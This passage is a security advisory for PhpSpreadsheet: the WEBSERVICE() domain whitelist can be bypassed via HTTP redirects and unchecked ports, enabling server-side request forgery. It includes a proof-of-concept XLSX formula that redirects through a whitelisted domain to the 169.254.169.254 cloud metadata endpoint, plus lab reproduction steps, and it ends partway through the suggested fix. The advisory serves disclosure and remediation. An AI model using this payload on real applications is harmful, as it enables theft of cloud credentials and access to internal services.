PHPSpreadsheet: SSRF bypass via HTTP redirect in WEBSERVICE() domain whitelist
Summary
The domain whitelist introduced in PhpSpreadsheet 5.4.0 for the WEBSERVICE() formula function can be bypassed via HTTP redirect. The whitelist validates only the initial URL's hostname, but file_get_contents() follows 302/301 redirects by default without re-validating the redirect target against the whitelist. This allows an attacker to reach internal services through a whitelisted domain that issues an HTTP redirect.
Details
In Calculation/Web/Service.php, the webService() method validates the URL's host against a domain whitelist set via Spreadsheet::setDomainWhiteList(). If the host passes validation, the method calls file_get_contents($url, false, $ctx) to fetch the content.
The stream context does not disable redirect following:
```php
$ctxArray = [
'http' => [
'user_agent' => 'Mozilla/5.0 ...',
// follow_location defaults to true
// max_redirects defaults to 20
],
];
```
PHP's HTTP stream wrapper follows redirects automatically (up to 20 hops by default). The redirect target URL is not re-validated against the domain whitelist. An attacker who can trigger a 302 redirect from a whitelisted domain can redirect the request to any arbitrary URL, including internal network addresses.
Vulnerable code (Calculation/Web/Service.php):
```php
// Whitelist check — runs ONCE on the initial URL
$domainWhiteList = $cell?->getWorksheet()->getParent()?->getDomainWhiteList() ?? [];
$host = $parsed['host'] ?? '';
if (!in_array($host, $domainWhiteList, true)) {
return ($cell === null) ? null : Functions::NOT_YET_IMPLEMENTED;
}
// HTTP request — follows redirects to ANY destination
$ctx = stream_context_create($ctxArray);
$output = @file_get_contents($url, false, $ctx);
```
Additionally, the whitelist check uses only the hostname from parse_url(), ignoring the port. This means whitelisting example.com permits access to all ports on that host.
PoC
Prerequisites:
- Application uses PhpSpreadsheet >= 5.4.0
- Application calls
$spreadsheet->setDomainWhiteList([...]) with at least one domain - Application calls
$cell->getCalculatedValue() on uploaded XLSX files
Attack steps:
1. Identify or control a URL on a whitelisted domain that returns an HTTP 302 redirect (e.g., an open redirect endpoint, or a domain the attacker controls).
2. Craft an XLSX file with a WEBSERVICE formula targeting the redirect URL:
```xml
<c r="A1">
<f>_xlfn.WEBSERVICE("http://whitelisted-domain.com/redirect?url=http://169.254.169.254/latest/meta-data/")</f>
</c>
```
3. Upload the XLSX to the target application. The calculation engine:
- Validates
whitelisted-domain.com against the whitelist — passes - Calls
file_get_contents("http://whitelisted-domain.com/redirect?url=...") file_get_contents follows the 302 redirect to http://169.254.169.254/latest/meta-data/ — no re-validation- Returns the cloud metadata response as the cell's calculated value
Lab reproduction:
```bash
# Setup (PhpSpreadsheet 5.7.0, PHP 8.3)
# App whitelists "trusted-api.example.com"
# Redirect server on trusted-api.example.com:7071 returns 302 → internal target
# Test 1: Direct internal access — BLOCKED by whitelist
=WEBSERVICE("http://127.0.0.1:9090/internal-api/secrets")
→ Result: null (blocked)
# Test 2: Via redirect from whitelisted domain — BYPASS
=WEBSERVICE("http://trusted-api.example.com:7071/redirect-to-internal")
→ Result: {"ssrf":"CONFIRMED","secret":"internal-api-key-LATEST","server":"Linux ..."}
```
Confirmed on PhpSpreadsheet 5.7.0 with PHP 8.3. Confirmed via Burp Collaborator (OOB HTTP interaction received at attacker-controlled domain through the redirect chain).
Impact
An attacker who can upload XLSX files to an application that uses setDomainWhiteList() and getCalculatedValue() can:
- Bypass the domain whitelist by routing requests through a whitelisted domain that redirects to internal targets
- Exfiltrate cloud metadata (AWS/GCP/Azure instance credentials) via
http://169.254.169.254/ - Access internal services not exposed to the internet
- Port-scan internal networks via any whitelisted hostname (port is not validated)
This is a full-read SSRF — the complete HTTP response body (up to 32,767 bytes) is returned to the attacker as the cell's calculated value.
Attack scenarios:
- Whitelisted domain has an open redirect vulnerability
- Attacker controls the whitelisted domain (e.g., a free-tier API service)
- DNS rebinding after the whitelist check
Suggested Fix
Disable redirect following in the stream context:
```php
$ctxArray = [
'http' => [
'user_agent' => '...',
'follow_location' => false,
'max_redirects' => 0,
],
];
```
Alternatively, if redirects must be supported, implement manual redirect following that re-validates each hop's hostname against the domain white
